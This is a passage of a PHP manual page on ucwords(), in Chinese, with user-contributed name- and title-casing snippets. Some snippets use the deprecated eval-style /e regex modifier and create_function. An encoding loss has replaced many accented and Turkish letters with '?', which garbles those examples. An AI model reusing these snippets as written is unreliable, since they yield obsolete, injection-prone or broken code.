    "\xE4\xE5\xE6\xE7\xE8\xE9".
    "\xEA\xEB\xEC\xED\xEE\xEF".
    "\xF0\xF1\xF2\xF3\xF4\xF5".
    "\xF6\xF8\xF9\xFA\xFB\xFC".
    "\xFD\xFE\xFF",
    "ABCDEFGHIJKLMNOPQRSTUVWXYZ".
    "\x8C\x8A\xC0\xC1\xC2\xC3\xC4".
    "\xC5\xC6\xC7\xC8\xC9\xCA\xCB".
    "\xCC\xCD\xCE\xCF\xD0\xD1\xD2".
    "\xD3\xD4\xD5\xD6\xD8\xD9\xDA".
    "\xDB\xDC\xDD\xDE\x9F");
    return $str;
}

?>

So, this function changes also other letters into uppercase, ucfirst() does only change: a-z to: A-Z.
steven at tux dot appstate dot edu 21-Jun-2004 12:14
Note: the return for this function changed in versions 4.3 when a string is passed of length 0.  In <4.2 false is returned and in >4.3 a string of length 0 is returned.

Example:

$name = ucfirst("");
var_dump($name);

$name = ucfirst("owen");
var_dump($name);

Results for <4.2:
bool(false) string(4) "Owen"

Results for >4.3:
string(0) "" string(4) "Owen"
Ami Hughes (ami at mistress dot name) 07-Apr-2004 08:34
In the event you sort of need multiple delimiters to apply the same action to, you can preg_replace this "second delimiter" enveloping it with your actual delimiter.

A for instance, would be if you wanted to use something like Lee's FormatName function in an input box designed for their full name as this script was only designed to check the last name as if it were the entire string.  The problem is that you still want support for double-barreled names and you still want to be able to support the possibility that if the second part of the double-barreled name starts with "mc", that it will still be formatted correctly.

This example does a preg_replace that surrounds the separator with your actual delimiter.  This is just a really quick alternative to writing some bigger fancier blah-blah function.  If there's a shorter, simpler way to do it, feel free to inform me.  (Emphasis on shorter and simpler because that was the whole point of this.) :D

Here's the example.  I've removed Lee's comments as not to confuse them with my own.

<?php

   function FormatName($name=NULL)
   {
       if (empty($name))
           return false;

       $name = strtolower($name);
       $name = preg_replace("[\-]", " - ",$name); // Surround hyphens with our delimiter so our strncmp is accurate
       if (preg_match("/^[a-z]{2,}$/i",$name))  // Simple preg_match if statement
       {

           $names_array = explode(' ',$name);  // Set the delimiter as a space.

           for ($i = 0; $i < count($names_array); $i++)
           {
               if (strncmp($names_array[$i],'mc',2) == 0 || ereg('^[oO]\'[a-zA-Z]',$names_array[$i]))
               {
                   $names_array[$i][2] = strtoupper($names_array[$i][2]);
               }
               $names_array[$i] = ucfirst($names_array[$i]);

           }

           $name = implode(' ',$names_array);
           $name = preg_replace("[ \- ]", "-",$name); //  Remove the extra instances of our delimiter
           return ucwords($name);

       }
   }

?>
bkimble at ebaseweb dot com 08-Jun-2003 05:02
Here is a handy function that makes the first letter of everything in a sentence upercase. I used it to deal with titles of events posted on my website ... I've added exceptions for uppercase words and lowercase words so roman numeral "IV" doesn't get printed as "iv" and words like "a" and "the" and "of" stay lowercase.

function RemoveShouting($string)
{
 $lower_exceptions = array(
        "to" => "1", "a" => "1", "the" => "1", "of" => "1"
 );

 $higher_exceptions = array(
        "I" => "1", "II" => "1", "III" => "1", "IV" => "1",
        "V" => "1", "VI" => "1", "VII" => "1", "VIII" => "1",
        "XI" => "1", "X" => "1"
 );

 $words = split(" ", $string);
 $newwords = array();

 foreach ($words as $word)
 {
        if (!$higher_exceptions[$word])
                $word = strtolower($word);
        if (!$lower_exceptions[$word])
                $word = ucfirst($word);
         array_push($newwords, $word);

 }

 return join(" ", $newwords);
}


将字符串中每个单词的首字母转换为大写

  • ? ucfirst
  • vfprintf ?
  • PHP Manual
  • 字符串 函数
  • 将字符串中每个单词的首字母转换为大写

ucwords

(PHP 4, PHP 5, PHP 7)

ucwords — 将字符串中每个单词的首字母转换为大写

说明

ucwords ( string $str [, string $delimiters = " \t\r\n\f\v" ] ) : string

将 str 中每个单词的首字符（如果首字符是字母）转换为大写字母，并返回这个字符串。

这里单词的定义是紧跟在 delimiters 参数（默认：空格符、制表符、换行符、回车符、水平线以及竖线）之后的子字符串。

参数

str

输入字符串。

delimiters

可选的 delimiters，包含了单词分割字符。

返回值

返回转换后的字符串。

更新日志

版本 | 说明
5.4.32, 5.5.16 | 增加了 delimiters 参数。

范例

Example #1 ucwords() 范例

<?php
$foo = 'hello world!';
$foo = ucwords($foo);             // Hello World!

$bar = 'HELLO WORLD!';
$bar = ucwords($bar);             // HELLO WORLD!
$bar = ucwords(strtolower($bar)); // Hello World!
?>

Example #2 ucwords() 自定义 delimiters 的例子

<?php
$foo = 'hello|world!';
$bar = ucwords($foo);             // Hello|world!

$baz = ucwords($foo, "|");        // Hello|World!
?>

注释

Note: 此函数可安全用于二进制对象。

参见

  • strtoupper() - 将字符串转化为大写
  • strtolower() - 将字符串转化为小写
  • ucfirst() - 将字符串的首字母转换为大写
  • mb_convert_case() - 对字符串进行大小写转换

User Contributed Notes

codemilitant at gmail.com 31-Jan-2019 12:29
When updating titles of web pages and posts, I found it much faster, and very easy to take advantage of the str_ireplace array search capabilities. This simple function will find only those words you wish to leave in lowercase (or uppercase), and do so with the speed of str_replace instead of any regular expressions.

When run, the str_ireplace case insensitivity only applies to the search.  When found, it replaces with the word as it's typed in the very same array.  Since this project was for web development, I added the ";" and ">" to the ucwords capabilities.

Just be sure the words in the delimiters array are the proper case to get the desired results.

<?php
$title = "Building And CREATING Great Seo WebSites";

function ucproper($string) {
  $string = ucwords( strtolower(trim($string)), ";> \t\r\n\f\v" );
  $delimiters = [ 'and', 'but', 'or', 'of', 'to', 'SEO' ];
  $string = str_ireplace( $delimiters, $delimiters, $string );
  return $string;
  //this returns lowercase (or uppercase) delimiter word found in string using those same delimiters as a case insensitive search
}

echo ucproper($title);
//Building and Creating Great SEO Websites
?>
@manzoorwanijk 04-Sep-2018 09:41
for PHP < 5.4.32 with $delimiters

<?php
function _ucwords( $str, $delimiters = " \t\r\n\f\v" ) {

    $delims = preg_split( '//u', $delimiters, -1, PREG_SPLIT_NO_EMPTY );

    foreach ( $delims as $delim ) {

        if ( false !== strpos( $str, $delim ) ) {

            $str = implode( $delim, array_map( 'ucfirst', explode( $delim, $str ) ) );
        }
    }

    return $str;
}
?>
@manzoorwanijk 04-Sep-2018 09:39
for PHP < 5.4.32 with $delimiters

function _ucwords( $str, $delimiters = " \t\r\n\f\v" ) {

    $delims = preg_split( '//u', $delimiters, -1, PREG_SPLIT_NO_EMPTY );

    foreach ( $delims as $delim ) {

        if ( false !== strpos( $str, $delim ) ) {

            $str = implode( $delim, array_map( 'ucfirst', explode( $delim, $str ) ) );
        }
    }

    return $str;
}
almino dot melo at gmail dot com 29-Feb-2016 08:36
ucwords for human names in Brazil.
ucwords personalizada para nomes próprios brasileiros.

<?php
    /**
     * ucwords for human names in Brazil
     * Edit from http://php.net/manual/pt_BR/function.ucwords.php#112795
     * @param string $str
     * @param array $delimiters
     * @param array $exceptions Exceptions are words you don't want converted
     * @return string
     */
    function name($str, $delimiters = array(
        " ",
        "-",
        ".",
        "'",
        "O'",
        "Mc",
    ), $exceptions = array(
        "de",
        "do",
        "da",
        "dos",
        "das",
    )) {
        $result = '';

        foreach ($delimiters as $delimiter) {
            # If string has a delimiter
            if (strstr($str, $delimiter)) {

                $ucfirst = array();
                # Apply ucfirst to every word
                foreach (explode($delimiter, mb_strtolower($str)) as $word) {
                    $word = mb_convert_case($word, MB_CASE_TITLE);

                    # Working with exceptions
                    if (in_array(mb_strtoupper($word), $exceptions)) {
                        $word = mb_strtoupper($word);
                    } elseif (in_array(mb_strtolower($word), $exceptions)) {
                        $word = mb_strtolower($word);
                    } elseif (preg_match('/^M{0,4}(CM|CD|D?C{0,3})(XC|XL|L?X{0,3})(IX|IV|V?I{0,3})$/', mb_strtoupper($word))) {
                        # Is roman numerals? # http://stackoverflow.com/a/267405/437459
                        $word = mb_strtoupper($word);
                    }

                    $ucfirst[] = $word;
                }

                # string's first character uppercased
                $result = implode($delimiter, $ucfirst);
            }
        }

        return $result;
    }
?>
Lech 01-Sep-2015 02:36
This will correct capitalisation in names taking note of special capitalisation for Mc..., Mac..., and O'... Other special cases, of which I am not aware, can be added easily.

This is just a slight improvement on "deepdene at email dot com"'s name_case function... Thank you for original function.

<?php

function name_case($name) {
    if( !$name ) return $name;
    $newname = strtoupper($name[0]);
    $break = false;
    for( $i=1; $i<strlen($name); ++$i ) {
      $subed = substr($name, $i, 1);
      if( ord($subed) > 64 && ord($subed) < 123 || ord($subed) > 48 && ord($subed) < 58 ) {
        if( $break ) {
          $newname .= strtoupper($subed);
        }
        elseif( $i > 1 && in_array(substr($newname, $i-2, 2), array('Mc', 'O\'')) || $i > 2 && in_array(substr($newname, $i-3, 3), array('Mac')) ) {
          $newname .= strtoupper($subed);
        }
        else {
          $newname .= strtolower($subed);
        }
        $break = false;
      }
      else {
        // not a letter - a boundary
        $newname .= $subed;
        $break = true;
      }
    }
    return $newname;

?>
coder22 at nycap dot rr dot com 04-Jun-2015 04:26
After a while of trial and error it appears that ucwords does not convert a string that is already in all caps to the ucwords format as inidcated in the beginning of the function manual.

for example,
$a = my text
$b = ucwords($a)
echo $b = My Text.

However:
$a = MY TEXT;
$b = ucwords($a)
echo $b = MY TEXT

if the string is already uppercase, the function will not use strtolower then ucwords which is interpreted up above.  I just wanted people to know that.  I could not figure out what was going on.
Alex Milkovskyi 13-May-2015 09:22
Convert string to in camel-case, useful for class name patterns:
<?php
/**
   * Convert string to in camel-case, useful for class name patterns.
   *
   * @param $string
   *   Target string.
   *
   * @return string
   *   Camel-case string.
   */
function toCamelCase($string){
    $string = str_replace('-', ' ', $string);
    $string = str_replace('_', ' ', $string);
    $string = ucwords(strtolower($string));
    $string = str_replace(' ', '', $string);
    return $string;
}
?>

Example:
toCamelCase(make_mE camel-case pLEase) will return:
MakeMeCamelCasePlease
Florian 20-Feb-2015 08:03
to convert first letters in a firstname like: "jean-pierre" to "Jean-Pierre":

I simply replace the '-' with a vertical tabulation, because the ucwords() function replace the letter just after it.

so, I use the sentence:
$result=str_replace(chr(11),'-',ucwords(strtolower(str_replace('-',chr(11),$firstname))));
OneOfOne 18-Oct-2013 08:46
This function will work on anything, not just words separated by spaces. (eg: 'ac/bc/dc,xc zz' => 'Ac/Bc/Dc,Xc Zz')

function ucwords_all($str) {
    return preg_replace_callback('/\b(\w)/', function($m) {
        return strtoupper($m[0]);
    }, $str);
}
antoniomax at antoniomax dot com 23-Jul-2013 06:04
Para formatar nomes em pt-br:

<?php

    function titleCase($string, $delimiters = array(" ", "-", ".", "'", "O'", "Mc"), $exceptions = array("de", "da", "dos", "das", "do", "I", "II", "III", "IV", "V", "VI"))
    {
        /*
         * Exceptions in lower case are words you don't want converted
         * Exceptions all in upper case are any words you don't want converted to title case
         *   but should be converted to upper case, e.g.:
         *   king henry viii or king henry Viii should be King Henry VIII
         */
        $string = mb_convert_case($string, MB_CASE_TITLE, "UTF-8");
        foreach ($delimiters as $dlnr => $delimiter) {
            $words = explode($delimiter, $string);
            $newwords = array();
            foreach ($words as $wordnr => $word) {
                if (in_array(mb_strtoupper($word, "UTF-8"), $exceptions)) {
                    // check exceptions list for any words that should be in upper case
                    $word = mb_strtoupper($word, "UTF-8");
                } elseif (in_array(mb_strtolower($word, "UTF-8"), $exceptions)) {
                    // check exceptions list for any words that should be in upper case
                    $word = mb_strtolower($word, "UTF-8");
                } elseif (!in_array($word, $exceptions)) {
                    // convert to uppercase (non-utf8 only)
                    $word = ucfirst($word);
                }
                array_push($newwords, $word);
            }
            $string = join($delimiter, $newwords);
       }//foreach
       return $string;
    }

?>

Usage:

<?php
    $s = 'S?O JO?O DOS SANTOS';
    $v = titleCase($s); // 'S?o Jo?o dos Santos'
?>
ATOLYE15 06-Jun-2013 09:11
This solution is a proper use of capitalize first letters of "TURKISH" sentence by AT?LYE15 crew.

function ucwordstr($sentence)
{
        $letters = array('I','?','?','?','ü','?','?');
        $replace = array('?','i','?','?','ü','?','?');

        $sentence = mb_strtolower(str_replace($letters,$replace,$sentence),"UTF-8");

        $words = array();

        foreach(explode(" ",$sentence) as $word)
        {
            $first = str_replace($replace,$letters,mb_substr($word, 0, 1, "UTF-8"));
            $other = mb_substr($word,1,strlen($word)-1,"UTF-8");

            $words[] = $first.$other;
        }

        $sentence = implode(" ",$words);

        return ucwords($sentence);
}
hrvoj3e at gmail dot com 30-Apr-2013 02:44
UTF-8 Title Case that works for me even with hyphens involved!

$str = '?aa?aa-AAAaaa, BBbb';

$str = mb_convert_case($str, MB_CASE_TITLE, "UTF-8");

echo($str): '?aa?aa-Aaaaaa, Bbbb'
Luca Borrione luca -a email -d c_o_m 10-Sep-2012 03:41
Features:
- multi byte compatible
- handles multiple delimiters

<?php
function ucwords_specific ($string, $delimiters = '', $encoding = NULL)
{
    if ($encoding === NULL) { $encoding = mb_internal_encoding();}

    if (is_string($delimiters))
    {
        $delimiters =  str_split( str_replace(' ', '', $delimiters));
    }

    $delimiters_pattern1 = array();
    $delimiters_replace1 = array();
    $delimiters_pattern2 = array();
    $delimiters_replace2 = array();
    foreach ($delimiters as $delimiter)
    {
        $uniqid = uniqid();
        $delimiters_pattern1[]   = '/'. preg_quote($delimiter) .'/';
        $delimiters_replace1[]   = $delimiter.$uniqid.' ';
        $delimiters_pattern2[]   = '/'. preg_quote($delimiter.$uniqid.' ') .'/';
        $delimiters_replace2[]   = $delimiter;
    }

    // $return_string = mb_strtolower($string, $encoding);
    $return_string = $string;
    $return_string = preg_replace($delimiters_pattern1, $delimiters_replace1, $return_string);

    $words = explode(' ', $return_string);

    foreach ($words as $index => $word)
    {
        $words[$index] = mb_strtoupper(mb_substr($word, 0, 1, $encoding), $encoding).mb_substr($word, 1, mb_strlen($word, $encoding), $encoding);
    }

    $return_string = implode(' ', $words);

    $return_string = preg_replace($delimiters_pattern2, $delimiters_replace2, $return_string);

    return $return_string;
}
?>

Params:
1. string: The string being converted
2. delimiters: a string with all wanted delimiters written one after the other e.g. "-'"
3. encoding: Is the character encoding. If it is omitted, the internal character encoding value will be used.

Example Usage:
<?php
mb_internal_encoding('UTF-8');
$string = "JEAN-PAUL d'artagnan ??-òà-éì hello - world";
echo ucwords_specific( mb_strtolower($string, 'UTF-8'), "-'");
?>

Output:
Jean-Paul D'Artagnan ??-òà-éì Hello - World
qeremy [atta] gmail [dotta] com 27-Feb-2012 05:09
A proper Turkish solution;

<?php
function ucfirst_turkish($str) {
    $tmp = preg_split("//u", $str, 2, PREG_SPLIT_NO_EMPTY);
    return mb_convert_case(
        str_replace("i", "?", $tmp[0]), MB_CASE_TITLE, "UTF-8").
        $tmp[1];
}

function ucwords_turkish($str) {
    return preg_replace("/(\\w+)/ue", "ucfirst_turkish('\\\\1').'$2'", $str);
}

$str = "iyilik güzelL?K ?eker ";
echo ucwords($str) ."\\n";   // Iyilik GüzelL?K ?eker
echo ucwords_turkish($str); // ?yilik GüzelL?K ?eker
?>
haijerome at gmail dot com 21-Nov-2011 09:14
Thanks a lot brother.

I tested it with a few variations. It works perfectly. Its really great and simple usage of the existing functions. It would be glad to all PHP folks and good to PHP if these kind of functions will be in PHP library on upcoming releases.

<?php

$name1 = "mark-yves robert";
$name2 = "mark-yves robert-bryan";

echo '<br/>Name 1 (mark-yves robert) =>'.
ucwordspecific($name1,'-'); //returns Mark-Yves Robert

echo '<br/>Name 2 (mark-yves robert-bryan)

=>'.ucwordspecific($name2,'-');
//returns Mark-Yves Robert-Bryan

function ucwordspecific($str,$delimiter){
$delimiter_space = '- ';
return str_replace($delimiter_space,$delimiter,ucwords

(str_replace($delimiter,$delimiter_space,$str)));
}

?>

Proud to be a PHP enthusiast always :-)
Anonymous 20-Nov-2011 11:06
Make the first letter of any word in capital even they are separated by hyphen.

 Eg : donzé pierre-yves      => Donzé Pierre-Yves
        joye-cagnard frédéric => Joye-Cagnard Frédéric

<?php

 $str = "donzé pierre-yves";
 echo ucwordsHyphen($str); /*returns Donzé Pierre-Yves*/

function ucwordsHyphen($str){
    return str_replace('- ','-',ucwords(str_replace('-','- ',$str)));
}
?>

 Thanks.
haijerome at gmail dot com 11-Nov-2011 11:38
Recently i got a request from a client to make the first letter of any word in capital even they are separated by hyphen.

Eg : donzé pierre-yves      => Donzé Pierre-Yves
       joye-cagnard frédéric => Joye-Cagnard Frédéric

ucwords("donzé pierre-yves") can make it display
Donzé Pierre-yves but actually i need even the first letter of the second word to be in capital.

So in order to get this i have just written a function below and it works fine. But i hope there would be a better and easier way to do this if so kindly share.

<?php

$str = "donzé pierre-yves";
echo ucwordsHyphen($str); /*returns Donzé Pierre-Yves*/

function ucwordsHyphen($str){
                    $converted_str = "";
                    $str_array = explode(" ",$str);
                    foreach($str_array as $key=>$value):
                        if(strpos($value, '-')):
                             $value = str_replace("-", " ", $value);
                             $value = ucwords(strtolower($value));
                             $value = str_replace(" ", "-", $value);
                        else:
                            $value = ucwords(strtolower($value));
                        endif;
                        $converted_str .= " ".$value;
                    endforeach;
                   return $converted_str;
            }
 ?>

Thanks.
And Proud to be a PHP Programmer always :-)
ahmet363 at gmail dot com 16-Oct-2011 11:14
Turkish character with the ucwords function...

<?php
function ucwords_tr($gelen){

  $sonuc='';

  $kelimeler=explode(" ", $gelen);

  foreach ($kelimeler as $kelime_duz){

    $kelime_uzunluk=strlen($kelime_duz);
    $ilk_karakter=mb_substr($kelime_duz,0,1,'UTF-8');

    if($ilk_karakter=='?' or $ilk_karakter=='?'){

      $ilk_karakter='?';

    }elseif ($ilk_karakter=='?' or $ilk_karakter=='?') {

      $ilk_karakter='?';

    }elseif($ilk_karakter=='I' or $ilk_karakter=='?'){

      $ilk_karakter='I';

    }elseif ($ilk_karakter=='?' or $ilk_karakter=='i'){

      $ilk_karakter='?';

    }elseif ($ilk_karakter=='?' or $ilk_karakter=='?'){

      $ilk_karakter='?';

    }elseif ($ilk_karakter=='?' or $ilk_karakter=='?'){

      $ilk_karakter='?';

    }elseif ($ilk_karakter=='ü' or $ilk_karakter=='ü'){

      $ilk_karakter='ü';

    }else{

      $ilk_karakter=strtoupper($ilk_karakter);

    }

    $digerleri=mb_substr($kelime_duz,1,$kelime_uzunluk,'UTF-8');
    $sonuc.=$ilk_karakter.kucuk_yap($digerleri).' ';

  }

  $son=trim(str_replace('  ', ' ', $sonuc));
  return $son;

}

function kucuk_yap($gelen){

  $gelen=str_replace('?', '?', $gelen);
  $gelen=str_replace('?', '?', $gelen);
  $gelen=str_replace('I', '?', $gelen);
  $gelen=str_replace('?', 'i', $gelen);
  $gelen=str_replace('?', '?', $gelen);
  $gelen=str_replace('?', '?', $gelen);
  $gelen=str_replace('ü', 'ü', $gelen);
  $gelen=strtolower($gelen);

  return $gelen;
}

echo ucwords_tr('?EKardi ?EM??YE ?ELEN? ?MER'); // ?ekardi ?em?iye ?elen? ?mer
echo ucwords_tr('?EKER iMSAK ??LEN'); // ?eker ?msak ??len
Philippe 30-Sep-2011 05:54
Because I needed a function that did the same as the function proper in Excel I created this little function :

<?php
function proper($string){

    $string = strtolower($string);

    $lettersAndNumbers = 'abcdefghijklmnopqrstuvwxyz01234565789';

    $string[0] = strtoupper($string[0]);

    for ($index = 1;$index < strlen($string);$index++){
      if (strpos($lettersAndNumbers, $string[$index]) === false){
        if ($index +1 < strlen($string)){
          $string[$index+1] = strtoupper($string[$index+1]);
          $index++;
        }
      }
    }

    return($string);

  }
?>
gabe at fijiwebdesign dot com 24-Aug-2011 11:49
Another ucwords function with custom separator.

<?php
function ucwords_custom($str, $sep)
{
    return preg_replace_callback('/' . preg_quote($sep) . './i', create_function(
        '$match',
        'return strtoupper($match[0][1]);'
    ), $str);
}
?>

or simpler with PHP5.3

<?php
function ucwords_custom2($str, $sep = ' ')
{
    return preg_replace_callback('/' . preg_quote($sep) . './i', function($match) {
        return strtoupper($match[0][1]);
    }, $str);
}
?>
Sebstian Espinosa 04-Aug-2011 04:16
Is more simple to use str_replace to use ucwords without using space as separator like:

<?php

function ucwordsEx($str, $separator){

      $str = str_replace($separator, " ", $str);
      $str = ucwords(strtolower($str));
      $str = str_replace(" ", $separator, $str);
      return $str;

}
/*
Example:
*/
echo ucwordsEx("HELLO-my-NAME-iS-maNolO", "-");
/*
Prints: "Hello My Name Is Manolo"
*/

?>
jmarois at ca dot ibm dot com 12-Feb-2010 08:51
My quick and dirty ucname (Upper Case Name) function.

<?php
//FUNCTION

function ucname($string) {
    $string =ucwords(strtolower($string));

    foreach (array('-', '\'') as $delimiter) {
      if (strpos($string, $delimiter)!==false) {
        $string =implode($delimiter, array_map('ucfirst', explode($delimiter, $string)));
      }
    }
    return $string;
}
?>
<?php
//TEST

$names =array(
  'JEAN-LUC PICARD',
  'MILES O\'BRIEN',
  'WILLIAM RIKER',
  'geordi la forge',
  'bEvErly CRuSHeR'
);
foreach ($names as $name) { print ucname("{$name}\n"); }

//PRINTS:
/*
Jean-Luc Picard
Miles O'Brien
William Riker
Geordi La Forge
Beverly Crusher
*/
?>

You can add more delimiters in the for-each loop array if you want to handle more characters.
robert at broofa dot com 08-Jul-2009 06:42
Some recipes for switching between underscore and camelcase naming:

<?php
// underscored to upper-camelcase
// e.g. "this_method_name" -> "ThisMethodName"
preg_replace('/(?:^|_)(.?)/e',"strtoupper('$1')",$string);

// underscored to lower-camelcase
// e.g. "this_method_name" -> "thisMethodName"
preg_replace('/_(.?)/e',"strtoupper('$1')",$string);

// camelcase (lower or upper) to underscored
// e.g. "thisMethodName" -> "this_method_name"
// e.g. "ThisMethodName" -> "this_method_name"
strtolower(preg_replace('/([^A-Z])([A-Z])/', "$1_$2", $string));
?>

Of course these aren't 100% symmetric.  For example...
  * this_is_a_string -> ThisIsAString -> this_is_astring
  * GetURLForString -> get_urlfor_string -> GetUrlforString
Greg S 26-Apr-2009 09:16
I did the same thing as Catalin, but for French names.

Here's what I'm doing :

For each word (not considering the single-quote as a word boundary character) :
- Put the word in lower case
- If the word is "de", return, else, put the first letter in upper-case
- See if the second character of the word is a single-quote
- Yes ? Put the next char in upper case
- And if the char before the single quote is D, put it back to lower case (-> d)

This complies with the French rules for capitalization in names.

Sample results :
-d'Afoo Bar
-de Foo Bar
-O'Foo Bar
-Foo'bar

<?php
function my_ucwords($s) {
        $s = preg_replace_callback("/(\b[\w|']+\b)/s", fixcase_callback, $s);

        return $s;

    }

    function fixcase_callback($word) {

        $word = $word[1];

        $word = strtolower($word);

        if($word == "de")
            return $word;

        $word = ucfirst($word);

        if(substr($word,1,1) == "'") {
            if(substr($word,0,1) == "D") {
                $word = strtolower($word);
            }
            $next = substr($word,2,1);
            $next = strtoupper($next);
            $word = substr_replace($word, $next, 2, 1);
        }

        return $word;
    }
?>
dyer85 at gmail dot com 07-Nov-2008 03:33
When attempting to adopt a solution similar to Catalin's post (20-Oct-2008 10:14), I ran into some additional problems. Just a heads up, Catalin's wasn't capitalizing correctly when a name like "O'reilley" appeared at the start of the string or a new line. Also, it doesn't account for locale-sensitivity.

I also needed to recognize additional Irish surnames, such as "McArthur/MacArthur" or "FitzGerald". I also didn't want to misinterpret French as an Irish surname, so, "S'il vous pla?t" shouldn't result in the "i" in "S'il" capitalized.

I modified Catalin's version, but it's still not perfect. This version happened to suit my needs, so be sure to assess your own needs before using.

<?php

function my_ucwords($str)
{
    $str = ucwords($str);

    // Not perfect
    return preg_replace(
        '/
            (?: ^ | \\b )         # assertion: beginning of string or a word boundary
            ( O\' | Ma?c | Fitz)  # attempt to match Irish surnames
            ( [^\W\d_] )          # match next char; we exclude digits and _ from \w
        /xe',
        "'\$1' . strtoupper('\$2')",
        $str);
}

?>
strazds at gmail dot com 01-Nov-2008 02:45
ucwords for UTF-8 strings:

<?php
function mb_ucwords($str) {
    $str = mb_convert_case($str, MB_CASE_TITLE, "UTF-8");
    return ($str);
}
?>
Catalin 20-Oct-2008 07:14
I have looked for a work-around that would upper-case letter after an ' too.

For example,

ucword("o'lunney's");

would output "O'lunney's" and I wanted it to output "O'Lunney's".

Here is my function:

<?php
function my_ucwords($string) {
        $string = ucwords(strtolower($string));
        $string = preg_replace_callback("/( [ a-zA-Z]{1}')([a-zA-Z0-9]{1})/s",create_function('$matches','return $matches[1].strtoupper($matches[2]);'),$string);
        return $string;
}
?>

Hope it helps someone.
Alex 27-Aug-2008 09:43
A modified sentenceNormalizer by gregomm

Features:
1- Removes duplicated question marks, exclamations and periods
2- Capitalize first letter of a sentence.
3- Split sentences not only with "." but also with "?" and "!"
4- Puts a white space at the end of each sentence
5- Retains newlines

--removed from orginal function--
undestand the meaning of "?" and "?" in languages like spanish.
undestand the htmlentitity version of this simbols.
--removed from orginal function--

<?php
function sentenceNormalizer($sentence_split) {
    $sentence_split = preg_replace(array('/[!]+/','/[?]+/','/[.]+/'),
                                   array('!','?','.'),$sentence_split);

    $textbad = preg_split("/(\!|\.|\?|\n)/", $sentence_split,-1,PREG_SPLIT_DELIM_CAPTURE);
    $newtext = array();
    $count = sizeof($textbad);

    foreach($textbad as $key => $string) {
        if (!empty($string)) {
            $text = trim($string, ' ');
            $size = strlen($text);

            if ($size > 1){
                $newtext[] = ucfirst(strtolower($text));
            }
                elseif ($size == 1) {
                    $newtext[] = ($text == "\n") ? $text : $text . ' ';
                }
        }
    }

    return implode($newtext);
}
?>
majd87 at gmail dot com 05-Aug-2008 06:58
I modified Q1712's code (below) to use regular expressions
instead of characters to properly capitalize words that fall
directly after an unwanted character. See his post for details.

This version allows me to use it around html elements, etc.

<?php
    function my_ucwords($string){

        $invalid_characters = array('"',
                                    '\(',
                                    '\[',
                                    '\/',
                                    '<.*?>',
                                    '<\/.*?>');

        foreach($invalid_characters as $regex){
            $string = preg_replace('/('.$regex.')/','$1 ',$string);
        }

        $string=ucwords($string);

        foreach($invalid_characters as $regex){
            $string = preg_replace('/('.$regex.') /','$1',$string);
        }

        return $string;
    }
?>

Moreover, to get a proper title case, i combine it with this function:

This Function is obtained from:
http://codesnippets.joyent.com/posts/show/716

<?php
    function title_case($title) {
        $smallwordsarray = array(
            'of','a','the','and','an','or','nor','but','is','if','then',
'else','when',
            'at','from','by','on','off','for','in','out',
'over','to','into','with'
        );

        $words = explode(' ', $title);
        foreach ($words as $key => $word)
        {
            if ($key == 0 or !in_array($word, $smallwordsarray))
            $words[$key] = $this->my_ucwords(strtolower($word));
        }

        $newtitle = implode(' ', $words);
        return $newtitle;
    }
?>
Hope you find it useful.
gregomm at gmail dot com 23-May-2008 12:38
An improved of ucsentence. In fact its a function to avoid ugly data entry. It's based on code taken from this page. Can be inproved for better performance, of course...

Features:
1- removes duplicated question marks, an exclamations
2- Capitalize first letter of a sentence.
3- split sentences not only with "." but also with "?" and "!"
4- Puts a white space at the begining of each sentence
5- undestand the meaning of "?" and "?" in languages like spanish.
6- undestand the htmlentitity version of this simbols.

    function sentenceNormalizer( $sentence_split ) {

        $sentence_split = preg_replace("/[!]+/","!",$sentence_split);
        $sentence_split = preg_replace("/[?]+/","?",$sentence_split);
        $sentence_split = preg_replace("/[?]+/","?",$sentence_split);
        $sentence_split = preg_replace("/[?]+/","?",$sentence_split);

        $textbad = preg_split("/(\<[a-zA-Z0-9-]*\>".
"\!(\s)?|\.(\s)?|\?(\s)?|?(\s)?|?(\s)?".
"|&iquest;(\s)?|&iexcl;(\s)?)/",
         $sentence_split,-1,PREG_SPLIT_DELIM_CAPTURE);
        $newtext = array();
        $count = sizeof($textbad);

        $prevStr ="";

        for ($i = 0; $i < $count; $i++){

            $text = trim($textbad[$i]);
            $size = strlen($text);

            if ($size>1){

                $sentencegood=ucfirst(strtolower($text));

                if ($i>0 && $prevStr != '?' && $prevStr != '?' && $prevStr !="&iquest;" && $prevStr !="&iexcl;"){
                    $sentencegood =" ".$sentencegood;
                }
                $newtext[] = $sentencegood;
                $prevStr =$text;

            }elseif($size==1 ){

                if ($i>0 && ($text == '?' || $text == '?' || $prevStr =="&iquest;" || $prevStr =="&iexcl;") ){
                    $newtext[] =" ".$text;
                }else{
                    $newtext[] =$text;
                }
                $prevStr =$text;
            }

        }

        $textgood = implode($newtext);
        return $textgood;
    }
blake at goinoutwest dot com 29-Jan-2008 05:14
Relating to the mb_ucwords() function posted by Anonymous.  In order for this to actually be multi-byte compliant, you would also need to use mb_substr() and mb_strlen() instead of substr and strlen respectively.

Here it is corrected and extended even further to allow multiple word separators and a list of exceptions to correct after title casing. It's a bit tedious and inelegant, but things frequently are when dealing with human languages.

function mb_ucwords($str) {
    $exceptions = array();
    $exceptions['Hp'] = 'HP';
    $exceptions['Ibm'] = 'IBM';
    $exceptions['Gb'] = 'GB';
    $exceptions['Mb'] = 'MB';
    $exceptions['Cd'] = 'CD';
    $exceptions['Dvd'] = 'DVD';
    $exceptions['Usb'] = 'USB';
    $exceptions['Mm'] = 'mm';
    $exceptions['Cm'] = 'cm';
    //    etc.

    $separator = array(" ","-","+");

    $str = mb_strtolower(trim($str));
    foreach($separator as $s){
        $word = explode($s, $str);

        $return = "";
        foreach ($word as $val){
            $return .= $s . mb_strtoupper($val{0}) . mb_substr($val,1,mb_strlen($val)-1);
        }
        $str = mb_substr($return, 1);
    }

    foreach($exceptions as $find=>$replace){
        if (mb_strpos($return, $find) !== false){
            $return = str_replace($find, $replace, $return);
        }
    }
    return mb_substr($return, 1);
}
Anonymous 16-Dec-2007 03:09
Function to do what ucwords is intended to do - just correctly also for international char sets:

function mb_ucwords($s)
{
    $s = mb_strtolower(trim($s));
    $w = explode(" ", $s);

    $return = "";
    foreach ($w as $val)
    {
        $return .= " " . mb_strtoupper($val{0}) . substr($val,1,strlen($val)-1);
    }
    return trim($return);
}

Building on an earlier snippet here.
kendsnyder at gmail dot com 30-Jul-2007 01:02
Here is a function to capitalize a last name, accounting for hyphens, apostrophes, "Mc" and "Mac":

<?php
function CapitalizeLastName($name) {
    $name = strtolower($name);
    $name = join("'", array_map('ucwords', explode("'", $name)));
    $name = join("-", array_map('ucwords', explode("-", $name)));
